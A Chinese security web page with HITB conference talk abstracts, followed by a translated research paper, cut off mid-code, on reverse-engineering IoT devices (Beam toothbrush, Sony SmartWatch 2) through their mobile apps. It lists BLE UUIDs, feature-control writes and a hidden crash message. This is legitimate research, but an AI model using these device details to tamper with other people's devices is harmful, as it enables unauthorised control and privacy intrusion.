内核缓存中发现十分隐秘的漏洞。隐藏在视频解码器驱动程序中的漏洞可以通过处理恶意生成的编译码器帧来触发。标准应用程序通常无法使用驱动程序。然而，在沙箱过程或应用程序中仍然可以利用该漏洞进行入侵。在该讲座中，我们将给出概念、工具和操作方法：从初始搜索到熟悉完整的闭源环境，以及寻找“沙箱限制”漏洞并在最有限环境中利用这些漏洞进行攻击的真实示例。我们还将介绍如何在基础设施上开展工作，以及有助于闭源内核研究的想法。此外，我们还将讨论零点击攻击如何利用这种攻击方式提升权限，以及为何
PAC 使漏洞攻击更加复杂。
此外，我们还将讨论零点击攻击如何利用这种攻击方式提升权限，以及为何 PAC 使漏洞攻击更加复杂。这正是吸引 iMO 的地方。
### 旅行极客：酒店版本
**演讲者：Hendrik Scholz**
旅行极客是一个涉及多种不同攻击途径的大话题。数年前，在 HITB 2011 KL 上，我介绍了这种极客行为中的机票端操作(PDF)。
该讲座涉及酒店方面的极客行为。介绍了篡改酒店忠诚度的极客活动，例如通过干扰酒店最优房价保证，促销活动或商誉点等达到目的。讲座的第二部分介绍了如何抓取(scraping)酒店
API 获取信息。多年来，我一直在扫描网站数据，寻找价格便宜的客房、大套房、别墅等，这种十分划算。
我将简单介绍大规模数据抓取、酒店 API 错误以及如何充分利用这些数据。
### 通过网络入侵机器人：经验教训、当前研究成果与新视角
**演讲者：Stefano Zanero**
过去两年，我们一直在研究如何攻击和保护工业机器人。它们是用于关键安装的复杂网络物理系统，面临安全问题到经济损失等在内的多种风险。
讲座将回顾我们的主要研究成果：工业机器人的全套攻击和威胁模型；违反阿西莫夫(a la
Asimov)机器人基本定律的针对机器人的网络攻击；机器人部署及其防护的评估。
我们还将简单介绍目前机器人编程语言安全性的研究，以及我们对未来的展望，包括对硬件和体系结构方面的认识，以提高机器人在入侵中的恢复能力。
### 使用贝叶斯推理检测海量网络流量
**演讲者：David Rodriguez**
这是关于入侵检测和监测 DNS
网络日志的新视角。坐拥数十万涉及良性和恶意网络流量的信息流模式，我们将能解析可预测流量和零星流量。然后，使用最先进技术扩展贝叶斯仿真，模拟流量在 DNS
日志中数百万域名上的分布情况，从而为认识之前的攻击提供新的深入认识。
我们首先探讨了根据聚合为计数数据的 DNS 日志执行大规模贝叶斯推断的方法。该计数数据表示数千万末梢 IP
向数亿个域名发出的请求的数量。我们描述了常见离散分布的新组合，或隐马尔可夫过程；它们可以模拟指向域名的最离散的网络流量。例如，我们讨论零膨胀泊松分布(ZIP)和零膨胀负二项分布（ZINB）及其一般形式如何提供所需参数，以区分僵尸网络引起的从垃圾邮件和恶意广告到广泛分布的威胁在内的各种与日产威胁相关的流量。
使用 Apache Spark 和 Stripe 新发布的 Rainier（面向 JVM
的一款功能强大的贝叶斯推理软件），我们在每个域上运行数万个仿真，拟合请求的底层分布，然后在数百万个域上重复该过程。我们通过将各种分布拟合到不同零散流量来描述网络性能。经常运行仿真程序，然后展示使用指数移动平均值的趋势参数估计是如何有效模拟白天/夜晚和周日/周末数据流分布的。我们借助与良性和恶意网络流量关联的数十万模拟及存档的网络流量模式，展示了如何减少错误警报，以有效监测不断演进的在线威胁和伪装的恶意流量。
### 现代汽车安全
**演讲者：Jun Li**
第一次汽车窃听案发生距今已有好几年了。此后，出现了各种与汽车安全相关的研究论文、讲座和书籍等。例如，2017 年我们在 HITBSecConf
研讨会上探讨了 PKE 系统中继攻击，并向特斯拉(Telsa)和通用汽车报告了该问题。特斯拉确实在汽车中新增了某些功能来禁用 PKE。在 2016
年，我们讨论了 FODCON 中的关键 FOB 滚动码加密密钥初始化和管理问题。我们向通用汽车报告了这一问题，他们正在努力解决该问题。2016 年 HITB
大会上，我们还探讨了 CAN 总线入侵检测。
在这次讲座中，我们计划对极客/安全研究人员用来或可能用来攻击汽车的漏洞进行了总结和预测。
我们将讨论汽车制造商经常会犯的错误，例如固件签名、功能征分离等。我们还将讨论针对新技术的潜在攻击，例如高级驾驶员辅助系统(ADAS)、自主驾驶汽车用来检测道路的计算机视觉
(CV) 技术，以及使用深度学习、激光雷达和超声波传感器等的交通标志识别和目标检测技术。
### 深入研究：通过以代码覆盖率为导向的模糊检测在嵌入式系统中查找 0DAY 漏洞
**演讲者：Nguyen Anh Quynh & Kai Jern Lau**
覆盖率导向的模糊检测是发现 PC 等强大系统中漏洞的一种前沿技术，是近几年来对无数 0days 漏洞研究的重要贡献者。
不幸的是，这种突破性的方法尚未应用于发现嵌入式设备（如网络路由器、IP 摄像机等）中的缺陷。我们找到了该问题的一些原因，具体如下：
作为封闭生态系统，嵌入式设备通常没有内置 shell
访问机制，也没有内置编译器和调试器等开发工具。这样可以引入模糊测试工具，直接运行和查找这些封闭生态系统或嵌入式设备中的缺陷。
可下载时（很少），大多数嵌入式固件并非开源的，这限制了导向型模糊测试工具（如 AFL 和
LibFuzzer）的使用，因为这些工具要求在编译时将源代码注入分支工具。
已有工作大多数都集中在英特尔架构上，而所有嵌入式设备都运行在 ARM、MIPS 或 PowerPC
等其他中央处理器(CPU)上。我们的研究表明，针对这些架构的模糊测试工具严重匮乏。
本研究旨在克服上述问题，针对嵌入式系统打造一款新的引导式模糊测试工具。
我们模拟过固件，因此我们推出我们自己的模糊测试工具和调试工具。首先，我们将解释如何直接从物理设备中提取固件，然后使用许多涉及静态二进制依赖性复制的技巧在虚拟机上进行仿真，针对
NVRAM 模拟为固件打补丁，从而为程序配置提供实实在在的响应。
我们将引入一个新的、功能强大的动态二进制插桩(DBI)框架。该框架可以支持如今使用的所有平台和嵌入式架构，包括 Arm、Arm64、Mips、PowerPC
和 Sparc（另外，还支持 Intel X86）。我们将详细解释该框架的设计和实现。因此，除该项目外，读者还可以看到许多其他 DBI 应用程序。
我们还将讨论如何构建一个高级引导式模糊测试工具，以运行仿真固件。核心部分使用我们的 DBI 框架，该框架无需固件源码，并且支持市场上所有嵌入式 CPU
中，漏洞只能在二进制应用程序中被发现。
在短短几个月时间内，我们的模糊测试工具在一些非常流行的嵌入式网络设备中已经发现很多 0days
漏洞。其中，有几个漏洞允许预认证远程代码执行，从而会影响数百万用户，并且可能变成大规模感染的僵尸网络-蠕虫。如果供应商会及时修复这些缺陷，我们将在讲座中公开这些漏洞。
我们会为大家带来技术含量更高，但不失娱乐与趣味性的演示内容，其中不乏激动人心的演示。
### 再见，IMSI Catcher（IMSI 捕捉器）：5G 中的安全提升
**演讲者：Lin Huang**
5G 试验网可能 2019 年出现，商用 5G 网络将在 2020 年投入使用。2018 年 3 月，3GPP 标准组织发布了首个 5G
安全相关标准。本次报告将介绍 Release 15 标准中对 5G 安全的提升。
与 4G 及以前的 3G/2G 网络，首先，在 5G 网络中，IMSI 捕捉器将不再工作。IMSI 将被随机加密身份替换，以避免无线跟踪。5G
网络第二个亮点是解决了运营商互连中的一些安全问题，例如 SS7 和 Diameter
协议中的一些问题。第三，通过在用户数据流中添加完整性保护，一定程度上解决了 4G 中存在的“Alter”MITM
攻击。然而，整个系统需要在成本和安全之间作出一定的权衡，所以伪造基站 DoS 攻击等问题依然存在。
### 利用机器学习研究大规模网络活动
**演讲者：Marco Balduzzi**
网络篡改是网站安全泄露后对网站的更改行为。被更改的页面称为篡改页面，会对受害者的声誉和生意产生不良影响。在研究多个对抗时，我们发现这些攻击者留下的伪像允许专家分析人员调查其工作方式和社会结构，并能从单个攻击扩展到一组相关事件。然而，对数百万个活动进行手动分析很乏味，同时也带来很大的可扩展性挑战。
根据这些观察结果，我们构想出一个可以根据原始事件有效提取情报信息的自动化系统。。我们的方法通过自动识别网络活动，并为其分配有意义的文本标签来简化分析工作。我们的方法应用于包含
1,300 万个事件的综合数据集，从而能开启这种形式的大规模调研。此外，我们的方法注定会被操作人员用于操作过程中，从而鞥确认现实世界中的真实活动。
我们分析了现代网络攻击者的社交结构，包括个人攻击者以及团队协作攻击中的团队成员。我们调查攻击者的动机，对比造词法时间线和网络活动的相似之处，体现了现代攻击者兴趣和取向的演变。
### 从边缘到边缘现代防御策略
**演讲者：Ofir Arkin**
我们的世界极其简单.我们都处于控制之下。驾驶座上我们负责保卫的大部分环境都是静态的，因此我们能够理解其变化率低。我们万事俱备，并且制定了明确的对抗规则。人员、资产和数据之间的交互已明确定义，大多数是固定不变的，我们只能针对出现威胁时发生的变化进行适当调整。
我们围绕自己的环境建立起马其诺防线，并广筑壕沟来保卫它。
我们的任务是保护该环境免受外部入侵，借助周边和防御标志着在“我们”和“他们”之间建立起清晰的管控边界。我们用所有权和控制权取代信任，并使用二进制和静态信任模型。该模型可以授权或拒绝访问，不会提供其他内容。
失去控制已经有一段时间了。
### Windows Runtime 的内部工作机制
**演讲者：James Forshaw**
Windows 8 中引入的 Windows Runtime (WinRT)摒弃了支持跨语言的、现代化、可部署的类库 Win32
API，彻底改变了应用程序的开发方式。微软并没有通过新的中间件来实现 WinRT，而是决定采用 COM 底层技术。
本报告深入探讨了 WinRT API 的执行方式、安全属性并介绍了如何使用沙箱应用程序检查 Runtime 的攻击面。
### 量子与机器学习时代的安全
**演讲者：Najwa Aaraj**
邻居-陌生人区分：DDoS攻击的一种新型防御机制
该讲座不只是将三个流行词机械地串在一起。该讲座试图通过量子和人工智能等技术解决网络安全问题。
量子对安全的影响超出了对开发抗量子密码算法的需求：甚至超出打造量子门和量子线以获得量子电路带来的收益和指数级加速的需求。
网络从业者需要在全新算法基础上开发新的网络软件。这就要留意位于软件和量子硬件中间层的接口。
另一方面，机器学习对安全而言是一把双刃剑：尽管神经网络可以大幅度提高漏洞管理水平，并且无监督学习方案可以保证更快地识别 0days
漏洞和新的攻击途径，但是攻击者通过机器学习能够更快发现漏洞并构建起对抗网络。
此外，本文将说明机器学习和图像/数据分类神经网络在同态评价中的作用。
### 污点驱动的崩溃分类
**演讲者：Richard Johnson**
过去几年，模糊测试技术和符号执行引擎大大促进了软件测试自动化的发展。自动测试生成工具生成必须通过执行根本原因分析才能得到的数据。而根本原因分析主要还是手动完成，需要具备逆向工程和专业调试知识。
本讲座将展示如何通过动态数据流分析大幅度减少分类崩溃，并确定根本原因。作者将演示使用 Cisco Talos 创建开源 moflow
工具的污点驱动分类法，并将其性能与当前市场上其他开源产品和商业产品进行比较。
### 雨后春笋般的自行车：剖析云联式电动滑板车
**演讲者：Nikias Bassen**
互连设备越来越多，车联互连也越来越多。而今很多东西都安装有应用程序。
这对终端用户来说真的很方便（“待会儿车停哪儿呢？”“嗯，看起来好像有人想偷我的自行车！“有些担忧：还有谁可以访问位置数据？我的自行车能被远程攻击/封锁/引爆吗？还有：我可以把自行车改装用作
XYZ 吗？我可以检索哪些通过相应的应用程序无法查看到的信息呢？
本讲座将分析一款流行电动滑板车的应用、Web 服务和车辆连接(GSM)，讨论其已知漏洞和潜在漏洞，同时也强调了则这款滑板车的一些优点。
### USB 军火库(USB Armory)：历史、现状和未来
**演讲者：Andrea Barisani**
现代化片上系统（SoC）部件耗低功，且多数计算机组件集成度高，因此制造商能够生产出安全的嵌入式系统。
2014 年 10 月Inverse Path 在 HITB KL 会议上介绍了 USB 军械库(USB
armory)。这是一款开源硬件设计，为安全应用提供了一款闪盘大小的专用计算机。
自从引进 USB 军械库项目以来，获得了巨大的成功。INTERLOCK 前端加密防御工具以及在锁定的机器上获取 Windows
散列的攻击性技术都支持该功能。
本讲座将讨论 USB 军械库的历史及其最具创新性的一些用途，还将分析 SOC 的安全功能和框架，最后为其发展指明方向。
### RK87 - 智能合约验证工具
**演讲者：Thanh Nguyen**
以太坊引入了智能合约的理念，开启了区块链上经济建设的新时代。然而，智能合约只不过是一串代码 ——
既然是代码，，存在缺陷就是在所难免的事。据报道，许多攻击已导致数百万 ETH 被盗，安全问题已经成为智能合约部署中最大问题之一。
为了发现智能合约漏洞，我们开发了许多审查工具，但这些工具都存在一定缺陷。可以使用符号执行工具（如 Manticore 和
Mythril）审查目标智能合约的二进制文件，但是需要手工设置每个二进制文件。基于模式的属性行为分析器（Securify）只能检测模式漏洞，无法检测出整数溢出和逻辑错误。基于调用路径条件的分析器（OyTune）无法处理多事务调用中的错误。
该课程介绍了一种使用非基于模式的符号执行来查找智能合约中的缺陷。我们开发了一款名为 RK97 的专用工具，用以自动验证 ERC20
合约，无需人与人之间的交互。早期结果喜人：RK87 可以准确检测出 2018 年报道的大多数缺陷，还能帮助我们找出许多尚未公布的缺陷。
### 您的个人监控设备：您的智能手机如何追踪全部整个
**演讲者：Vladimir Katalov**
谷歌承认跟踪了用户位置，即使您关闭了位置共享也依然会跟踪用户位置，而苹果致力于保护您的隐私。这些数据不仅记录了您的位置，还记录了您的电话，同时会存储您的信息，同步您的密码和阅读您的电子邮件。把数据交给哪家公司才放心呢？
在本讲座中，我们将查看由 Google、Apple
和许多第三方收集的数据。这些第三方希望能在用户数据市场中分一杯羹。谁能更好地保护您的数据？谁能提供最好的信息？这样问更合适（搅局者：是同一家公司）。我们甚至会洞悉未来，将
iOS 12 屏幕时间(Screen Time)与 Android Pie 的数字化健康( Digital Wellbeing) 这两款应用做比较。
### 2018 年保卫企业
**演讲者：Saumil Shah**
“如今，攻击是成功的，因为防御是被动的。”防御措施中增加基础设施、技术、流程和人员投入，所有这些都会对反应机理起作用。这些年来，攻击者只是简单地改变了战术，攻击基本上一直都遵循两大原则：：要么获利最大，，要么抵抗最弱，并且攻克了被动防御措施。
是时候从被动防御过渡到主动防御了。本文讨论未来实施主动防御的策略和措施，最后给出主动防御体系结构的下一步发展蓝图。
* * * | 社区文章 |
# 【技术分享】移动应用：进入物联网的后门？
|
##### 译文声明
本文是翻译文章，文章来源：virusbulletin.com
原文地址：<https://www.virusbulletin.com/virusbulletin/2016/11/vb2016-paper-mobile-applications-backdoor-internet-things/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **shan66**](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：300RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**摘要**
现在，每天都有大量新设备接入物联网，但是迫于市场的压力，这些设备的安全性和隐私性往往没有得到足够的重视。为了评估和改善这些设备的安全状况，研究人员需要对它们进行逆向工程。不幸的是，这可不是一个容易的任务，因为他们需要面对各种不同的智能对象，并且它们经常使用定制的硬件、固件、操作系统和协议，这意味着每次逆向工程都需要从头开始，这是相当费时费力的。
在本文中，我们将解决这个问题，并提出一个更容易的方法来逆向智能对象。我们的思路是，在许多情况下无需关注对象本身，而是关注相关的移动应用程序。我们详细介绍了该方法在三个智能对象上的应用，结果表明这种方法的效果非常棒。实验的设备包括：智能牙刷、智能手表和家用安全报警器。
**引言**
在牛津英语词典中，将物联网（IoT）定义为“互联网的进一步拓展，能让日常生活中的所有对象互联互通，允许它们发送和接收数据”。现在，物联网正在逐步走入我们的生活。2014年，约有20亿个物联网设备，这已经超过了笔记本电脑和台式电脑的数量（15亿），并且与智能手机的数量（18亿）相当。一些最常见的物联网对象包括：智能手表（请注意，截止2015年第4季度，智能手表的出货量就已经超过了瑞士手表）、健身腕带（通常用于人类，但也可用于猫和狗的设备，如奥托宠物系统）、智能电视和智能眼镜。但这些只是其中的很少一部分，物联网设备实际上涉及广泛的领域：
**娱乐领域** ，例如Archos公司的音乐智能比尼帽，Mattel公司的智能芭比娃娃Hello Barbie。
**高科技领域** ，例如Recon Instruments公司的增强现实防雪面罩，Narrative公司的可穿戴相机等。
**时尚领域** ，例如Volvorii公司的物联网高跟鞋或服装。
**农业领域** ，例如奶牛授精。
**健康和安全领域** ，例如Netatmo June公司的皮肤暴露检测仪，Vigo公司的睡眠检测仪，Glow-Cap公司的药物提醒帽。等等。
然而，这些设备的隐私和安全问题却非常让人担忧。迫于市场压力，这些物联网设备通常会急不可耐的尽早面世，因此，通常都没有经过适当的安全审查，有时甚至缺乏正确的安全设计。例如，HP研究发现，90％的IoT设备至少会收集一条个人信息，70％的设备使用未加密的网络，10个UI中有6个设备容易受到诸如XSS和弱凭证的威胁。根据这些现状，IDC预测到2016年12月，90％的IT网络将因IoT的安全漏洞而遭受威胁。在消费者方面，埃森哲咨询公司在28个不同国家对28,000个人进行了调查结果表明，47％的消费者对IoT存在隐私和安全担忧。
为了评估智能对象的安全性和隐私性，研究人员需要密切分析它们的具体实现。但是，由于技术文档很少，所以第一步通常需要对相关设备进行逆向工程。逆向工程本来就不是一个轻松的任务，对于物联网设备来说，就更加困难了，因为（i）它们使用的组件越特殊，人们对它的了解就越少，以及（ii）因为智能对象彼此差异很大。前者需要了解陌生领域的专业知识（例如，Riot，Contiki，Brillo等操作系统），而后者则意味着需要逆向智能对象，但是逆向一个智能对象的经验，在逆向其他对象的时候帮助不大。例如，智能手表的逆向工程与智能牙刷的逆向工程几乎没有共同之处。因此，在第一个任务期间获得的经验对第二个任务几乎没有帮助。
这些正是本文要解决的问题。我在这里提出了一种简单的方法，并且我已经多次实践，证明该方法确实有效。这种方法能够使得逆向过程的前面几步更加简单，从而有助于研究人员更快地了解设备本身。此外，它还能提供许多有价值的信息，可以使进一步的逆向工作更集中、更有针对性。
在本文中，我们首先讨论这个主题的前期工作（第2节），然后解释我们使用的方法（第3节）。然后，通过三种不同智能对象举例说明我们的方法：智能牙刷（第4节）、智能手表（第5节）和（第6节）。最后，我们将对这种方法进行总结。
**发展现状**
虽然物联网已经开始流行，但是，其安全研究仍处于早期阶段，相关的出版物也远少于其他领域，如操作系统安全。我们可以引用的文献有NEST恒温器、WeMo电源插座、健康输液泵中的漏洞、在Fitbit
Flex
dongles中注入任意代码、蓝牙扫描、婴儿监视器等等。一方面，这些研究为逆向物联网设备提供了有趣的线索，同时，也说明了不同的智能对象的差距是多么大，以及研究人员为了了解它们而需要做的工作量有多么大。
参考文献[14]将这项任务比作CTF竞赛，这看起来是非常合适的，因为每个挑战是不同的而且非常耗时，并且在网络上也找不到立即可用的解决方案。
在学术界，一些研究人员提出了相关的方法或自动化方法来帮助逆向固件。文献[15]给出了物联网不同攻击面的详细清单。该清单有助于在安全审核/渗透测试时防止遗漏某些领域。然而，它对逆向工程本身没有提供帮助，只是旨在帮助我们涵盖安全相关的所有方面。对于自动化框架和工具，它们是有发展潜力的，但目前仍处于早期阶段，因此现在还难以在实践中大展拳脚。
**方法论**
为了简化物联网设备的逆向工程，本文提出了以下方法：这种方法不是直接逆向智能对象本身，而是首先侧重于逆向与它们打交道的移动应用程序。
许多物联网设备都是通过相关的移动应用程序来进行控制、监督或与之交互的。例如，Meian公司的安全报警器就提供了相应的Android应用程序，帮助最终用户启动、停止设备，获取状态或设置警报区域。类似地，Beam牙刷也配备了与智能牙刷等通信的iOS或Android应用程序。当有这样的移动应用程序可用时，那就为我们提供了很大的优势：
**更简单** 。有许多工具可以用来逆向移动应用程序（例如apktool、baksmali、clutch以及IDA
Pro）。反病毒分析师经常使用这些工具来考察移动病毒，因此我们会有一个良好的支持社区。
**安全性**
。物联网供应商开发这些移动应用程序（因为它们对最终用户很有吸引力）通常是处于营销的角度来考虑的，所以不会将它们完全集成到其安全设计中（如果有的话）。因此，我们通常有机会访问这些移动应用程序未经混淆的源代码，更有甚者，我们还能在这些应用中找到危及智能对象本身的安全漏洞，具体参考第6节。
**退可守**
。如果针对移动应用的分析不足以解决问题，则研究人员总是可以将逆向智能对象作为研究的第二步。在第一阶段收集的信息很可能有助于在第二阶段进行更有针对性的逆向工程。
**Beam牙刷**
**概述**
智能牙刷的问世已经有一段时间了，但直到2015年才引起了相关媒体的关注，因为当时Beam在一份围绕其联网设备的牙科保险计划中提到了它。每支Beam牙刷都纳入了牙科保险计划，并且每支牙刷有自己的特殊优惠（例如免费牙膏）和附属牙医。
与胰岛素泵或起搏器相比，牙刷可能还涉及不到最敏感的健康数据。然而，一旦与保险单挂钩，就会引发多个问题，无论从安全教育角度还是从隐私角度考虑，考察该牙刷的工作原理都是非常有趣的。
该牙刷除了提供其商品规格：蓝牙LE
4.0（BLE）、声波电机、尺寸和颜色之外，没有提供其他技术信息。此外，也没有用户论坛，没有开发者社区，也没有学术出版物。不幸的是，这种情况对于物联网设备来说是非常常见的：我们必须从头开始，因为没有信息可供利用。
面对这种处境，一条路是拆卸牙刷的硬件：拆开它，拿到电子组件，探测测试点等。但是，这里我们决定重点探索该设备相关的iOS和Android移动应用。
**逆向iOS应用程序**
在逆向iOS应用程序的时候，它的架构对我们是很有帮助的。因为应用程序会使用名为BeamBrushData.sqlite的sqlite数据库，其中包含多个表，如BrushEvent、ClientDevice和ClientSession（请参见图1），所以，我们可以通过在函数名称中搜索关键字“primaryKey”来列出这些表。
图1：Beam牙刷的移动应用程序所使用的SQL表。
每个表的内容都是由mappings命名的函数进行描述的，例如Insured表的[Insured mappings]。
了解每个表的字段对于掌握哪些数据被存储以及哪些数据可能泄露给对手是非常有用的。例如，BTStarCardInfo表包含最终用户的积分的变化情况：name，beforeValue，afterValue，starCount，lastTotalStars，totalStars。积分是最终用户完成指定挑战（例如连续刷牙超过两分钟）时授予终端用户的虚拟点数。攻击者当然可以尝试修改这里的值来获取积分——当然，还可能存在其他相关的检查，例如在远程服务器上的检查事项等。
存储在这些表中的信息对于广告工具包或广告软件来说，可能是非常有价值的。例如，Insured表保存被保险用户的称谓，名字，中间名，姓氏，性别和出生日期，当然用户也可能是家庭中的成年人（通常是父亲或母亲）。然后，User表为家庭的其他成员（例如儿童）提供相同的信息。因此，通过分析这些表中包含的数据，间谍软件可以了解特定家庭的组成成员，然后给他们发送有针对性的广告等。
除了数据库结构之外，通过反汇编iOS应用程序还能揭示它实现的类的结构。移动应用程序二进制文件的objc节提供了每个类的方法和字段的完整概述。例如，图2示出了UserSummary类的字段——也称为属性（例如，beamScore，numberOfBrushDaysLeft）和方法（例如，beamScoreRoundedInteger）。此外，IDA
Pro中的注释也特别有用，甚至为每个字段的类型和方法都提供了签名。
图2：IDA Pro显示了UserSummary类的方法和属性。属性的注释显示了该字段的具体类型。
从这里我们可以了解到：
牙刷提供了加速度计和陀螺仪。两者都在BTBrushData类中提供了一个三轴向量。牙刷就是通过它们来了解最终用户是否正在刷牙，如果是的话，当前位于哪个象限（口腔被分为四个区域，或象限：左上，右上，右下，左下）。
固件的空中下载服务。BTFirmwareUpdater类的内容表明，该固件提供了通过空中下载进行的更新服务。更新固件时，会将新固件的字节发送到牙刷，直到写入所有字节为止。
char *firmware;
unsigned int totalLength;
unsigned int written;
unsigned int toWrite;
unsigned int loopCount;
int state;
CBService *otaService;
CBCharacteristic *otaControlPoint, *otaDataPoint;
这些积分只是软件而已。特定最终用户的积分数量并不存储在牙刷本身上，而是存储在移动电话上（并且可能在远程服务器数据库上）。事实上，类BTBrushData，BTBrushEvent，Device和ClientDevice中没有积分相关的字段。从这些类的内容可以看出，牙刷是由固件、硬件、序列号、闪光灯、电池电量、电动机（其速度是可控的）、三轴陀螺仪、三轴加速度计、自动关闭定时器和具有BLE功能的芯片构成的。
**逆向Android应用程序**
通过逆向该Android应用程序，我们可以获得更多的详细信息。例如，虽然我们知道牙刷导出了几种BLE服务和characteristic（参见图3），但是除了标准的服务之外，大多数都是未知的。
图3：牙刷的BLE characteristic。
通过逆向Android应用程序，能够更轻松地找到每个characteristic的意义。例如，图4中的代码给出了牙刷的电动机速度（其转换为刷子每分钟的行程）的UUID和象限蜂鸣（当最终用户在特定象限中的刷牙时间足够长时，牙刷就会振动）。我们在表1和2中分别列出了已知的BLE服务和characteristic。
图4：用于电机速度和象限蜂鸣的BLE characteristic。
UUID 描述
00001800-0000-1000-8000-00805f9b34fb 通用访问（标准）
c05fc343-c076-4a97-95d3-f6d3e92a2799 固件 OTA 服务
04234f8e-75b0-4525-9a32-193d9c899d30 Beam 服务
89bae1fa-2b59-4b06-919a-8a775081771d 可能是加速度计/陀螺仪芯片服务
表1：Beam牙刷的BLE服务。
UUID 描述
a8902afd-4937-4346-a4f1-b7e71616a383 布尔指示器，指示牙刷处于活动状态
267b09fd-fb8e-4bb9-85ccade55975431b 电机状态
3530b2ca-94f8-4a1d-96beaa76d808c131 当前时间
833da694-51c5-4418-b4a9-3482de840aa8 电机速度
19dc94fa-7bb3-4248-9b2d-1a0cc6437af5 自动关闭和象限蜂鸣指示器（2位）
6dac0185-e4b7-4afd-ac6b-515eb9603c4c 电池电量（2字节）
0971ed14-e929-49f9-925f-81f638952193 牙刷颜色(1 byte)
0227f1b0-ff5f-40e3-a246-b8140205bc49 加速度计数据（6字节）
ed1aa0cf-c85f-4262-b501-b9ddf586a1db 陀螺仪（6字节）
cf0848aa-ccdb-41bf-b1e1-337651f65461 按钮状态
表2：我们对Beam牙刷最感兴趣的BLE characteristics
有了这些信息，我们便可以使用自己的实现代码来控制自动关闭和象限蜂鸣功能了。
我们可以控制的功能包括：
打开与牙刷的BLE连接。
将字节值写入相应的characteristic UUID中。最低有效位用来控制象限蜂鸣，第二位控制自动关闭。
断开牙刷的连接。
BLE命令可以使用诸如建立在bluez（蓝牙栈实现）之上的gattlib [21]之类的库和简单的BLE USB dongle来发送。
**利弊**
通过对Beam牙刷的移动应用程序进行逆向，我们发现了下列有效信息。
存在陀螺仪和加速度计。这一点上，通过拆卸牙刷的硬件也能达到同样的效果，只不过做起来可能会有点难度，具体取决于芯片的封装方式。显然，逆向移动应用程序的优点是我们不需要拆开牙刷，并且也没有毁坏它的风险。缺点是我们看不到组件的铭牌和型号，因此也无法了解其电器规格。
存在固件更新服务。对于这一点来说，很难通过其他方式（例如通过监听BLE流量）来获得。
积分并未存储在牙刷本身中。这一点很难通过硬件探测或BLE扫描找到。
实现代码的设计。显然，没有反汇编代码的话，是没有办法了解这一点的。我们唯一不知道的部分，就是硬件设计。
识别BLE服务和characteristic。这一点也可以使用BLE扫描器应用程序（例如nRF主控制面板[22]）来达到目的，但需要消耗更长的时间，因为必须通过尝试各种值，然后通过观察牙刷的行为差异来进行识别。
**智能手表**
**架构**
我们对索尼的智能手表SmartWatch 2 SW2进行了相应的实验。
与Beam牙刷不同，这款智能手表提供了很多技术信息和开发人员信息，这主要得益于索尼鼓励开发人员为其编写新的应用程序。索尼为该产品提供了相应的API、文档、示例和教程。该智能手表含有STM32F439
SoC（包括ARM
Cortex-M4和加密加速器）、光传感器、加速器，支持NFC和蓝牙3.0（注意不兼容低功耗蓝牙技术）和LiPo电池。它运行的是Micrium的μC/
OS-II实时操作系统。
知道了这一点，那么就可以请μC/ OS-II或ST微电子SoC专家继续对设备的相关部件进行深入调查。在本文中，我们假设研究人员无法接触这方面的专家，相反，我们将重点研究该智能手表的应用情况。要使用智能手表，必须至少安装两个Android应用程序：一个名为Smart
Connect的应用程序以及一个名为SmartWatch 2 SW2的应用程序。这里，我们将重点考察这两个应用程序。
要了解这些应用程序，必须首先掌握索尼的有关术语。对于索尼而言，智能手表更一般的称呼为智能配件，因为还有其他类型的配件，如耳机等。一个智能手表的“应用程序”（我们稍后就会发现，实际上根本没有这样的东西）被称为智能扩展。
要创建新的智能扩展程序，开发人员需要对使用了索尼的智能扩展API的代码进行编译，从而得到一个Android应用程序（即一个.apk程序，研究人员可以使用标准工具，如apktool，baksmali等对它们进行逆向）——但需要注意的是，只有将我们前面提到的两个应用程序都安装之后，该应用程序才能正常运行。
因此，为了安装智能扩展程序，最终用户需要安装开发人员的apk，即Android应用程序。该应用程序由两个强制性应用程序之一的Smart
Connect自动找到，并添加到相应的智能配件中。这样，新的智能扩展图标就会出现在智能手表上。
需要注意的是，我们没有在智能手表本身上直接安装软件。事实上，根本就没有智能手表应用程序的概念。实际上，智能扩展的所有工作都是在智能手机上完成的。智能手表基本上只是充当一个远程显示器。智能扩展生成的各种事件和消息都是由两个强制性应用程序中的第二个，即SmartWatch
2
SW2生成的。这个应用程序实际上就是索尼所谓的主机应用程序，即专门用来跟给定智能附件（就本例而言，就是SW2）通信的Android应用程序。我们在表3和图5中对相关的术语进行了详细的解释，需要注意的是，其中一些很容易引起误解。
图5：索尼SmartWatch 2 SW2的架构。
名称 说明
主机应用程序专门用于跟特定智能配件通信的Android应用程序的通用术语。
智能配件 智能手表、智能耳机等的通用术语
Smart Connect这是必须安装在智能手机上才能使用智能手表的两个强制性Android应用程序之一。这是一个官方的索尼应用程序。它管理哪个扩展使用哪个配件。它的软件包名称是com.sonyericsson.extras.liveware。
智能扩展 这是一个Android应用程序，它在手机上运行，但可从智能手表远程访问/控制。索尼提供了几个扩展（Twitter feed，Facebook feed，Chrono），并鼓励开发人员创建自己的扩展。
Smart Watch 2 SW 2这是SW2的两个强制性Android应用程序中的另一个。实际上，它是SW2配件的主机应用程序。这是一个官方的索尼应用程序，该软件包名为com.sonymobile.smartconnect.smartwatch2。
表3：索尼的智能手表术语。
**推论**
知道了智能手表的架构之后，可以得到下列推论：对于智能手表上的任何扩展，实际上都可以通过逆向其Android应用程序的代码来进行安全分析。
我们假设，需要考察发送SMS消息的扩展。智能手表本身没有什么可逆向的，相反，我们需要做的是反汇编相关的Android应用程序，这样，就能找到像smsManager.sendTextMessage（mPhoneNumber，null，message，…）这样的代码。如果智能手表恶意软件的确存在并在传播的话，防病毒供应商只需要为相应的Android应用程序写签名即可，这些事情正是他们所擅长的。
此外，我们还可以对官方SmartWatch 2
SW2主机应用程序也进行逆向工程。逆向结果表明，与远程智能手表的通信是通过“Costanza”消息来进行处理的。这些消息由类型（消息类型），消息标识符和打包的缓冲区字节组成。打包或解包是通过名为“protocol”（libprotocol.so）的本机库进行处理的。一旦打包完毕，这些消息就可以通过蓝牙进行发送了——这里是通过Android
API来打开蓝牙套接字的。Costanza消息的类型有多种，例如：
电池电量指示（id = 18），电量水平以百分比形式表示。
恢复出厂设置的请求和响应（id = 20或21）。
'Force crash'（id = 666）。源代码表明，这里有一个隐藏的调试界面，其中含有“Force crash on
watch”按钮。这将创建以下消息：
public RequestForceCrash(int
